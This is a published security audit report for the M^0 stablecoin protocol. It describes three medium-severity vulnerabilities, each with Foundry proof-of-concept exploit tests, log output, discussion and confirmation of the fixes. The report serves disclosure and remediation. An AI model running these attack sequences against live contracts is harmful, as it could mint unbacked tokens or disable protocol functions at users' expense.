SHERLOCK

SHERLOCK SECURITY REVIEW FOR

M^0

Prepared for:	M^0
Prepared by:	Sherlock
Lead Security Expert:	xiaoming90
Dates Audited:	March 11 - March 27, 2024
Prepared on:	April 23, 2024

Introduction

A neutral value transmission framework able to permissionlessly mint currencies under decentralized governance.

Scope

Repository: MZero-Labs/ttg

Branch: main

Commit: 0d2761f8db14b390e923f59bdae9799fbf9adf2c

Repository: MZero-Labs/protocol

Branch: main

Commit: 3382fb7336bbc7276e0c3f51da451c9fa6e0016f

Repository: MZero-Labs/common

Branch: main

Commit: 9da96e78d24aadd41ee6f776b7b028203782b632

For the detailed scope, see the contest details.

Findings

Each issue has an assigned severity:

- Medium issues are security vulnerabilities that may not be directly exploitable or may require certain conditions in order to be exploited. All major issues should be addressed.
- High issues are directly exploitable security vulnerabilities that need to be fixed.

Issues found

Medium	High
3	0

Issues not fixed or acknowledged

Medium	High
0	0

Issue M-1: An earner can still continue earning even after being removed from the approved list.

Source: https://github.com/sherlock-audit/2023-10-mzero-judging/issues/33

Found by

00001111x0, 0xpiken, araj, pkqs90

Summary

An earner can still continue earning even after being removed from the approved list.

Vulnerability Detail

A `M` holder is eligible to earn the `Earner Rate` when they are approved by TTG. The approved `M` holder can call startEarning() then begin to earn the `Earner Rate`. They also can stopEarning() to quit earning.

However, when an approved `M` holder is disapproved, only the disapproved holder themselves can choose to stop earning; no one else has the authority to force them to quit earning.

`Earner Rate` is calculated in StableEarnerRateModel#rate() as below:

```
function rate() external view returns (uint256) {
    uint256 safeEarnerRate_ = getSafeEarnerRate(
        IMinterGateway(minterGateway).totalActiveOwedM(),
        IMToken(mToken).totalEarningSupply(),
        IMinterGateway(minterGateway).minterRate()
    );

    return UIntMath.min256(maxRate(), (RATE_MULTIPLIER * safeEarnerRate_) / ONE);
}

function getSafeEarnerRate(
    uint240 totalActiveOwedM_,
    uint240 totalEarningSupply_,
    uint32 minterRate_
) public pure returns (uint32) {
    // solhint-disable max-line-length
    // When `totalActiveOwedM_ >= totalEarningSupply_`, it is possible for the
 ↪  earner rate to be higher than the
    // minter rate and still ensure cashflow safety over some period of time
 ↪  (`RATE_CONFIDENCE_INTERVAL`). To ensure
```

```
// cashflow safety, we start with `cashFlowOfActiveOwedM >=
↪ cashFlowOfEarningSupply` over some time `dt`.
// Effectively: p1 * (exp(rate1 * dt) - 1) >= p2 * (exp(rate2 * dt) - 1)
//          So: rate2 <= ln(1 + (p1 * (exp(rate1 * dt) - 1)) / p2) / dt
// 1. totalActive * (delta_minterIndex - 1) >= totalEarning *
↪ (delta_earnerIndex - 1)
// 2. totalActive * (delta_minterIndex - 1) / totalEarning >=
↪ delta_earnerIndex - 1
// 3. 1 + (totalActive * (delta_minterIndex - 1) / totalEarning) >=
↪ delta_earnerIndex
// Substitute `delta_earnerIndex` with `exponent((earnerRate * dt) /
↪ SECONDS_PER_YEAR)`:
// 4. 1 + (totalActive * (delta_minterIndex - 1) / totalEarning) >=
↪ exponent((earnerRate * dt) / SECONDS_PER_YEAR)
// 5. ln(1 + (totalActive * (delta_minterIndex - 1) / totalEarning)) >=
↪ (earnerRate * dt) / SECONDS_PER_YEAR
// 6. ln(1 + (totalActive * (delta_minterIndex - 1) / totalEarning)) *
↪ SECONDS_PER_YEAR / dt >= earnerRate

// When `totalActiveOwedM_ < totalEarningSupply_`, the instantaneous earner
↪ cash flow must be less than the
// instantaneous minter cash flow. To ensure instantaneous cashflow safety,
↪ we we use the derivatives of the
// previous starting inequality, and substitute `dt = 0`.
// Effectively: p1 * rate1 >= p2 * rate2
//          So: rate2 <= p1 * rate1 / p2
// 1. totalActive * minterRate >= totalEarning * earnerRate
// 2. totalActive * minterRate / totalEarning >= earnerRate
// solhint-enable max-line-length

if (totalActiveOwedM_ == 0) return 0;

if (totalEarningSupply_ == 0) return type(uint32).max;

if (totalActiveOwedM_ <= totalEarningSupply_) {//@audit-info rate is slashed
    // NOTE: `totalActiveOwedM_ * minterRate_` can revert due to overflow,
↪ so in some distant future, a new
    //       rate model contract may be needed that handles this differently.
    return uint32((uint256(totalActiveOwedM_) * minterRate_) /
↪ totalEarningSupply_);
}

uint48 deltaMinterIndex_ = ContinuousIndexingMath.getContinuousIndex(
    ContinuousIndexingMath.convertFromBasisPoints(minterRate_),
    RATE_CONFIDENCE_INTERVAL
);//@audit-info deltaMinterIndex for 30 days
```

```
    // NOTE: `totalActiveOwedM_ * deltaMinterIndex_` can revert due to overflow,
 ↪  so in some distant future, a new
    //       rate model contract may be needed that handles this differently.
    int256 lnArg_ = int256(
        _EXP_SCALED_ONE +
            ((uint256(totalActiveOwedM_) * (deltaMinterIndex_ -
 ↪  _EXP_SCALED_ONE)) / totalEarningSupply_)
    );

    int256 lnResult_ = wadLn(lnArg_ * _WAD_TO_EXP_SCALER) / _WAD_TO_EXP_SCALER;

    uint256 expRate_ = (uint256(lnResult_) *
 ↪  ContinuousIndexingMath.SECONDS_PER_YEAR) / RATE_CONFIDENCE_INTERVAL;

    if (expRate_ > type(uint64).max) return type(uint32).max;

    // NOTE: Do not need to do `UIntMath.safe256` because it is known that
 ↪  `lnResult_` will not be negative.
    uint40 safeRate_ =
 ↪  ContinuousIndexingMath.convertToBasisPoints(uint64(expRate_));

    return (safeRate_ > type(uint32).max) ? type(uint32).max : uint32(safeRate_);
}
```

As we can see, the rate may vary due to the changes in `MToken#totalEarningSupply()`, therefore the earning of fixed principal amount could be decreased if `totalEarningSupply()` increases. In some other cases the total earning rewards increases significantly if `totalEarningSupply()` increases, resulting in less `excessOwedM` sending to `ttgVault` when MinterGateway#updateIndex() is called.

Copy below codes to Integration.t.sol and run `forge test --match-test test_aliceStillEarnAfterDisapproved`

```
function test_AliceStillEarnAfterDisapproved() external {

    _registrar.updateConfig(MAX_EARNER_RATE, 40000);
    _minterGateway.activateMinter(_minters[0]);

    uint256 collateral = 1_000_000e6;
    _updateCollateral(_minters[0], collateral);

    _mintM(_minters[0], 400e6, _bob);
    _mintM(_minters[0], 400e6, _alice);
    uint aliceInitialBalance = _mToken.balanceOf(_alice);
    uint bobInitialBalance = _mToken.balanceOf(_bob);
    //@audit-info alice and bob had the same M balance
    assertEq(aliceInitialBalance, bobInitialBalance);
    //@audit-info alice and bob started earning
    vm.prank(_alice);
    _mToken.startEarning();
    vm.prank(_bob);
    _mToken.startEarning();

    vm.warp(block.timestamp + 1 days);
    uint aliceEarningDay1 = _mToken.balanceOf(_alice) - aliceInitialBalance;
    uint bobEarningDay1 = _mToken.balanceOf(_bob) - bobInitialBalance;
    //@audit-info Alice and Bob have earned the same M in day 1
    assertNotEq(aliceEarningDay1, 0);
    assertEq(aliceEarningDay1, bobEarningDay1);
    //@audit-info Alice was removed from earner list
    _registrar.removeFromList(TTGRegistrarReader.EARNERS_LIST, _alice);
    vm.warp(block.timestamp + 1 days);
    uint aliceEarningDay2 = _mToken.balanceOf(_alice) - aliceInitialBalance -
↪   aliceEarningDay1;
    uint bobEarningDay2 = _mToken.balanceOf(_bob) - bobInitialBalance -
↪   bobEarningDay1;
    //@audit-info Alice still earned M in day 2 even she was removed from earner
↪   list, the amount of which is same as Bob's earning
    assertNotEq(aliceEarningDay2, 0);
    assertEq(aliceEarningDay2, bobEarningDay2);

    uint earnerRateBefore = _mToken.earnerRate();
    //@audit-info Only Alice can stop herself from earning
    vm.prank(_alice);
    _mToken.stopEarning();
    uint earnerRateAfter = _mToken.earnerRate();
    //@audit-info The earning rate was almost doubled after Alice called
↪   `stopEarning`
    assertApproxEqRel(earnerRateBefore*2, earnerRateAfter, 0.01e18);
    vm.warp(block.timestamp + 1 days);
    uint aliceEarningDay3 = _mToken.balanceOf(_alice) - aliceInitialBalance -
↪   aliceEarningDay1 - aliceEarningDay2;
    uint bobEarningDay3 = _mToken.balanceOf(_bob) - bobInitialBalance -
↪   bobEarningDay1 - bobEarningDay2;
    //@audit-info Alice earned nothing
    assertEq(aliceEarningDay3, 0);
    //@audit-info Bob's earnings on day 3 were almost twice as much as what he
↪   earned on day 2.
    assertApproxEqRel(bobEarningDay2*2, bobEarningDay3, 0.01e18);
}
```

Impact

- The earnings of eligible users could potentially be diluted.
- The `excessOwedM` to ZERO vault holders could be diluted

Code Snippet

https://github.com/sherlock-audit/2023-10-mzero/blob/main/protocol/src/MToken.sol#L106-L108

Tool used

Manual Review

Recommendation

Introduce a method that allows anyone to stop the disapproved earner from earning:

```
function stopEarning(address account_) external {
    if (_isApprovedEarner(account_)) revert IsApprovedEarner();
    _stopEarning(account_);
}
```

Discussion

sherlock-admin2

1 comment(s) were left on this issue during the judging contest.

takarez commented:

> valid; medium(2)

toninorair

Valid issue, medium severity. Great catch

sherlock-admin4

The protocol team fixed this issue in the following PRs/commits: https://github.com/MZero-Labs/protocol/pull/162

sherlock-admin4

The Lead Senior Watson signed off on the fix.

Issue M-2: Malicious minters can repeatedly penalize their undercollateralized accounts in a short peroid of time, which can result in disfunctioning of critical protocol functions, such as `mintM`.

Source: https://github.com/sherlock-audit/2023-10-mzero-judging/issues/45

Found by

pkqs90

Summary

Malicious minters can exploit the `updateCollateral()` function to repeatedly penalize their undercollateralized accounts in a short peroid of time. This can make the `principalOfTotalActiveOwedM` to reach `uint112.max` limit, disfunctioning some critical functions, such as `mintM`.

Vulnerability Detail

The `updateCollateral()` function allows minters to update their collateral status to the protocol, with penalties imposed in two scenarios:

1. A penalty is imposed for each missing collateral update interval.
2. A penalty is imposed if a minter is undercollateralized.

The critical issue arises with the penalty for being undercollateralized, which is imposed on each call to `updateCollateral()`. This penalty is compounded, calculated as `penaltyRate * (principalOfActiveOwedM_ - principalOfMaxAllowedActiveOwedM_)`, and the `principalOfActiveOwedM_` increases with each imposed penalty.

Given that validator provides timely information about the off-chain collateral (according to https://docs.m0.org/portal/overview/glossary#validator), a minter could potentially gather validator signatures with high frequency (for example, every minute). With a sufficient collection of signatures, a malicious minter could launch an attack in a very short timeframe, not giving validators time to deactivate the minter.

Proof Of Concept

We can do a simple calculation, using the numbers from unit tests, mintRatio=90%, penaltyRate=1%, updateCollateralInterval=2000 (seconds). A malicious minter deposits `$100,000` t-bills as collateral, and mints `$90,000` M tokens. Since M tokens have 6 decimals, the collateral would be `100000e6`. Following the steps below, the malicious minter would be able to increase `principalOfActiveOwedM_` close to uint112.max limit:

1. Deposit collateral and mint M tokens.
2. Wait for 4 collateral update intervals. This is for accumulating some initial penalty to get undercollateralized.
3. Call `updateCollateral()`. The penalty for missing updates would be `4 * 90000e6 * 1% = 36e8`.
4. Starting from `36e8`, we can keep calling `updateCollateral()` to compound penalty for undercollateralization. Each time would increase the penalty by 1%. We only need `log(2^112 / 36e8, 1.01) ~ 5590` times to hit `uint112.max` limit.

Add the following testing code to `MinterGateway.t.sol`. We can see in logs that `principalOfTotalActiveOwedM` has hit uint112.max limit.

```
penalty: 1 94536959275 94536000000
penalty: 2 95482328867 95481360000
penalty: 3 96437152156 96436173600
penalty: 4 97401523678 97400535336
penalty: 5 98375538914 98374540689
penalty: 6 99359294302 99358286095
penalty: 7 100352887244 100351868955
penalty: 8 101356416116 101355387644
penalty: 9 102369980277 102368941520
penalty: 10 103393680080 103392630935
...
penalty: 5990 5192349545726433803396851311815959
↪  5192296858534827628530496329220095
penalty: 5991 5192349545726433803396851311815959
↪  5192296858534827628530496329220095
penalty: 5992 5192349545726433803396851311815959
↪  5192296858534827628530496329220095
penalty: 5993 5192349545726433803396851311815959
↪  5192296858534827628530496329220095
penalty: 5994 5192349545726433803396851311815959
↪  5192296858534827628530496329220095
penalty: 5995 5192349545726433803396851311815959
↪  5192296858534827628530496329220095
penalty: 5996 5192349545726433803396851311815959
↪  5192296858534827628530496329220095
penalty: 5997 5192349545726433803396851311815959
↪  5192296858534827628530496329220095
```

```
penalty: 5998 5192349545726433803396851311815959
↪  5192296858534827628530496329220095
penalty: 5999 5192349545726433803396851311815959
↪  5192296858534827628530496329220095
penalty: 6000 5192349545726433803396851311815959
↪  5192296858534827628530496329220095
```

```
// Using default test settings: mintRatio = 90%, penaltyRate = 1%,
↪  updateCollateralInterval = 2000.
function test_penaltyForUndercollateralization() external {
    // 1. Minter1 deposits $100,000 t-bills, and mints 90,000 $M Tokens.
    uint initialTimestamp = block.timestamp;
    _minterGateway.setCollateralOf(_minter1, 100000e6);
    _minterGateway.setUpdateTimestampOf(_minter1, initialTimestamp);
    _minterGateway.setRawOwedMOf(_minter1, 90000e6);
    _minterGateway.setPrincipalOfTotalActiveOwedM(90000e6);

    // 2. Minter does not update for 4 updateCollateralIntervals, causing
↪  penalty for missing updates.
    vm.warp(initialTimestamp + 4 * _updateCollateralInterval);

    // 3. Minter fetches a lot of signatures from validator, each with different
↪  timestamp and calls `updateCollateral()` many times.
    //    Since the penalty for uncollateralization is counted every time, and
↪  would hit `uint112.max` at last.
    uint256[] memory retrievalIds = new uint256[](0);
    address[] memory validators = new address[](1);
    validators[0] = _validator1;

    for (uint i = 1; i <= 6000; ++i) {

        uint256[] memory timestamps = new uint256[](1);
        uint256 signatureTimestamp = initialTimestamp + i;
        timestamps[0] = signatureTimestamp;
        bytes[] memory signatures = new bytes[](1);
        signatures[0] = _getCollateralUpdateSignature(
            address(_minterGateway),
            _minter1,
            100000e6,
            retrievalIds,
            bytes32(0),
            signatureTimestamp,
            _validator1Pk
        );

        vm.prank(_minter1);
        _minterGateway.updateCollateral(100000e6, retrievalIds, bytes32(0),
↪   validators, timestamps, signatures);

        console.log("penalty:", i, _minterGateway.totalActiveOwedM(),
↪   _minterGateway.principalOfTotalActiveOwedM());
    }
}
```

Note that in real use case, the penalty rate may lower (e.g. 0.1%), however, `log(2^112 / 36e8, 1.001) ~ 55656` is still a reasonable amount since there are 1440 minutes in 1 day (not to mention if the frequency for signature may be higher than once per minute). A malicious minter can still gather enough signatures for the attack.

Impact

The direct impact is that `principalOfTotalActiveOwedM` will hit `uint112.max` limit. All related protocol features would be disfunctioned, the most important one being `mintM`, since the function would revert if `principalOfTotalActiveOwedM` hits uint112.max limit.

```
        unchecked {
            uint256 newPrincipalOfTotalActiveOwedM_ =
↪   uint256(principalOfTotalActiveOwedM_) + principalAmount_;

            // As an edge case precaution, prevent a mint that, if all owed M
↪   (active and inactive) was converted to
            // a principal active amount, would overflow the `uint112
↪   principalOfTotalActiveOwedM`.
>           if (
>               // NOTE: Round the principal up for worst case.
>               newPrincipalOfTotalActiveOwedM_ +
↪   _getPrincipalAmountRoundedUp(totalInactiveOwedM) >= type(uint112).max
>           ) {
>               revert OverflowsPrincipalOfTotalOwedM();
>           }

            principalOfTotalActiveOwedM =
↪   uint112(newPrincipalOfTotalActiveOwedM_);
            _rawOwedM[msg.sender] += principalAmount_; // Treat rawOwedM as
↪   principal since minter is active.
        }
```

Code Snippet

- https://github.com/MZero-Labs/protocol/blob/main/src/MinterGateway.sol#L206
- https://github.com/MZero-Labs/protocol/blob/main/src/MinterGateway.sol#L303-L308

Tool used

Foundary

Recommendation

Consider only imposing penalty for undercollateralization for each update interval.

Discussion

sherlock-admin4

1 comment(s) were left on this issue during the judging contest.

takarez commented:

> 6000 signatures will definately ring a bell for the validator to check for malicious activity; remember the validator atest to the eligible collatreal.

deluca-mike

While a valid finding, it would require validators and governance to really be sleeping at the wheel and/or behaving on reckless autopilot.

We should probably fix it by preventing the update collateral from penalizing the minter more than once per missed update.

However, consider than by attempting to do this, the Minter is losing all their off-chain collateral and being deactivated, and the reckless validators will likely lose their validator gig.

toninorair

Valid issue, medium severity, great catch

pasha9990

I think this not valid because we need signature and new timestamp for every update and that is impossible

sherlock-admin4

The protocol team fixed this issue in the following PRs/commits:
https://github.com/MZero-Labs/protocol/pull/173

sherlock-admin4

The Lead Senior Watson signed off on the fix.

Issue M-3: Validator threshold can be bypassed: a single compromised validator can update minter's state to historical state

Source: https://github.com/sherlock-audit/2023-10-mzero-judging/issues/46

Found by

00001111x0, pkqs90, xiaoming90

Summary

The `updateCollateralValidatorThreshold` specifies the minimum number of validators needed to confirm the validity of `updateCollateral` data. However, just **one** compromised validator is enough to alter a minter's collateral status. In particular, this vulnerability allows the compromised validator to set the minter's state back to a historical state, allowing malicious minters to increase their collateral.

Vulnerability Detail

The `updateCollateral()` function calls the `_verifyValidatorSignatures()` function, which calculates the minimum timestamp signed by all validators. This timestamp is then used to update the minter state's `_minterStates[minter_].updateTimestamp`. The constraint during this process is that the `_minterStates[minter_].updateTimestamp` must always be increasing.

Function `updateCollateral()`:

```
minTimestamp_ = _verifyValidatorSignatures(
    msg.sender,
    collateral_,
    retrievalIds_,
    metadataHash_,
    validators_,
    timestamps_,
    signatures_
);
...
_updateCollateral(msg.sender, safeCollateral_, minTimestamp_);
...
```

Function `_updateCollateral()`:

```
function _updateCollateral(address minter_, uint240 amount_, uint40
↪  newTimestamp_) internal {
    uint40 lastUpdateTimestamp_ = _minterStates[minter_].updateTimestamp;

    // MinterGateway already has more recent collateral update
    if (newTimestamp_ <= lastUpdateTimestamp_) revert
↪  StaleCollateralUpdate(newTimestamp_, lastUpdateTimestamp_);

    _minterStates[minter_].collateral = amount_;
    _minterStates[minter_].updateTimestamp = newTimestamp_;
}
```

If we have 1 compromised validator, its signature can be manipulated to any chosen timestamp. Consequently, this allows for control over the timestamp in `_minterStates[minter_].updateTimestamp` making it possible to update the minter's state to a historical state. An example is given in the following proof of concept. The key here is that even though `updateCollateralValidatorThreshold` may be set to 2 or even 3, as long as 1 validator is compromised, the attack vector would work, thus defeating the purpose of having a validator threshold.

Proof Of Concept

In this unit test, `updateCollateralInterval` is set to 2000 (default value). The `updateCollateralValidatorThreshold` is set to 2, and the `_validator1` is compromised. Following the steps below, we show how we update minter to a historical state:

0. Initial timestamp is `T0`.
1. 100 seconds passed, the current timestamp is `T0+100`. Deposit 100e6 collateral at `T0+100`. `_validator0` signs signature at `T0+100`, and `_validator1` signs signature at `T0+1`. After `updateCollateral()`, minter state collateral = 100e6, and updateTimestamp = `T0+1`.
2. Another 100 seconds passed, the current timestamp is `T0+200`. Propose retrieval for all collateral, and perform the retrieval offchain. `_validator0` signs signature at `T0+200`, and `_validator1` signs signature at `T0+2`. After `updateCollateral()`, minter state collateral = 0, and updateTimestamp = `T0+2`.
3. Another 100 seconds passed, the current timestamp is `T0+300`. Reuse `_validator0` signature from step 1, it is signed on timestamp `T0+100`. `_validator1` signs collateral=100e6 at `T0+3`. After `updateCollateral()`, minter state collateral = 100e6, and updateTimestamp = `T0+3`.

Now, the minter is free to perform minting actions since his state claims collateral is 100e6, even though he has already retrieved it back in step 2. The mint proposal may even be proposed between step 1 and step 2 to reduce the mintDelay the minter has to wait.

Add the following testing code to `MinterGateway.t.sol`. See more description in code comments.

```
function test_collateralStatusTimeTravelBySingleHackedValidator() external {
    _ttgRegistrar.updateConfig(TTGRegistrarReader.UPDATE_COLLATERAL_VALIDATOR_TH ⌟
↪   RESHOLD, bytes32(uint256(2)));

    // Arrange validator addresses in increasing order.
    address[] memory validators = new address[](2);
    validators[0] = _validator2;
    validators[1] = _validator1;

    uint initialTimestamp = block.timestamp;
    bytes[] memory cacheSignatures = new bytes[](2);
    // 1. Deposit 100e6 collateral, and set malicious validator timestamp to
↪   `initialTimestamp+1` during `updateCollateral()`.
    {
        vm.warp(block.timestamp + 100);

        uint256[] memory retrievalIds = new uint256[](0);
        uint256[] memory timestamps = new uint256[](2);
        timestamps[0] = block.timestamp;
        timestamps[1] = initialTimestamp + 1;

        bytes[] memory signatures = new bytes[](2);
        signatures[0] = _getCollateralUpdateSignature(address(_minterGateway),
↪   _minter1, 100e6, retrievalIds, bytes32(0), block.timestamp, _validator2Pk);
        signatures[1] = _getCollateralUpdateSignature(address(_minterGateway),
↪   _minter1, 100e6, retrievalIds, bytes32(0), initialTimestamp + 1,
↪   _validator1Pk);
        cacheSignatures = signatures;

        vm.prank(_minter1);
        _minterGateway.updateCollateral(100e6, retrievalIds, bytes32(0),
↪   validators, timestamps, signatures);

        assertEq(_minterGateway.collateralOf(_minter1), 100e6);
        assertEq(_minterGateway.collateralUpdateTimestampOf(_minter1),
↪   initialTimestamp + 1);
    }

    // 2. Retrieve all collateral, and set malicious validator timestamp to
↪   `initialTimestamp+2` during `updateCollateral()`.
    {
        vm.prank(_minter1);
        uint256 retrievalId = _minterGateway.proposeRetrieval(100e6);

        vm.warp(block.timestamp + 100);

        uint256[] memory newRetrievalIds = new uint256[](1);
        newRetrievalIds[0] = retrievalId;

        uint256[] memory timestamps = new uint256[](2);
        timestamps[0] = block.timestamp;
        timestamps[1] = initialTimestamp + 2;

        bytes[] memory signatures = new bytes[](2);
        signatures[0] = _getCollateralUpdateSignature(address(_minterGateway),
↪   _minter1, 0, newRetrievalIds, bytes32(0), block.timestamp, _validator2Pk);
        signatures[1] = _getCollateralUpdateSignature(address(_minterGateway),
↪   _minter1, 0, newRetrievalIds, bytes32(0), initialTimestamp + 2,
↪   _validator1Pk);

        vm.prank(_minter1);
        _minterGateway.updateCollateral(0, newRetrievalIds, bytes32(0),
↪   validators, timestamps, signatures);

        assertEq(_minterGateway.collateralOf(_minter1), 0);
        assertEq(_minterGateway.collateralUpdateTimestampOf(_minter1),
↪   initialTimestamp + 2);
    }

    // 3. Reuse signature from step 1, and set malicious validator timestamp to
↪   `initialTimestamp+3` during `updateCollateral()`.
    //    We have successfully "travelled back in time", and minter1's
↪   collateral is back to 100e6.
    {
        vm.warp(block.timestamp + 100);

        uint256[] memory retrievalIds = new uint256[](0);
        uint256[] memory timestamps = new uint256[](2);
        timestamps[0] = block.timestamp - 200;
        timestamps[1] = initialTimestamp + 3;

        bytes[] memory signatures = new bytes[](2);
        signatures[0] = cacheSignatures[0];
        signatures[1] = _getCollateralUpdateSignature(address(_minterGateway),
↪   _minter1, 100e6, retrievalIds, bytes32(0), initialTimestamp + 3,
↪   _validator1Pk);

        vm.prank(_minter1);
        _minterGateway.updateCollateral(100e6, retrievalIds, bytes32(0),
↪   validators, timestamps, signatures);

        assertEq(_minterGateway.collateralOf(_minter1), 100e6);
        assertEq(_minterGateway.collateralUpdateTimestampOf(_minter1),
↪   initialTimestamp + 3);
    }
}
```

Impact

As shown in the proof of concept, the minter can use the extra collateral to mint M tokens for free.

One may claim that during minting, the `collateralOf()` function checks for `block.timestamp < collateralExpiryTimestampOf(minter_)`, however, since during deployment `updateCollateralInterval` is set to 86400, that gives us enough time to perform the attack vector before "fake" collateral expires.

Code Snippet

- https://github.com/MZero-Labs/protocol/blob/main/src/MinterGateway.sol#L1045-L1106

Tool used

Foundary

Recommendation

Use the maximum timestamp of all validators instead of minimum, or take the `threshold`-last minimum instead of the most minimum.

Discussion

sherlock-admin2

1 comment(s) were left on this issue during the judging contest.

takarez commented:

> compromises happens due to user mistake which is invalid according to sherlock rules and also; the validator has the power to update the minter state including mint request.

deluca-mike

This is a great catch! Please reopen this as it is the most clear issue that demonstrates the issue in the simplest/purest form. The others may be duplicates if this (albeit less valid, clear, or event incorrect).

sherlock-admin4

The protocol team fixed this issue in the following PRs/commits:
https://github.com/MZero-Labs/protocol/pull/163

sherlock-admin4

The Lead Senior Watson signed off on the fix.

Disclaimers

Sherlock does not provide guarantees nor warranties relating to the security of the project.

Usage of all smart contract software is at the respective users’ sole risk and is the users’ responsibility.